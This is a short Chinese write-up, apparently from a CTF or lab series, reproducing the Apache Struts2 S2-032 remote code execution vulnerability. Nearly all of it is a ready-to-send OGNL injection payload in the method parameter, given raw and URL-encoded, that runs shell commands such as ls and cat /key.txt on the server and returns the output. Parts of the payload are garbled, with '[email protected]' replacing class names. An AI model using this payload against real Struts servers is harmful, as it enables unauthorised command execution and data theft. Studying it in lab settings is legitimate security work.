0x28.Apache Struts2远程代码执行漏洞(S2-032)复现
s2-032：启用动态方法调用后，可能会传递可用于在服务器端执行任意代码的恶意表达式；接收到的参数会经过处理存入到ActionMapping的method属性中，最后会将method属性中的值当做ognl表达式执行；
poc：
?method:#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new+java.util.Scanner(@[email protected]().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=ls
编码后：
?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@[email protected]().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ls
得到目录列表；
?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@[email protected]().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/key.txt
得到key值；
也可以使用检测工具进行检测；
漏洞详情：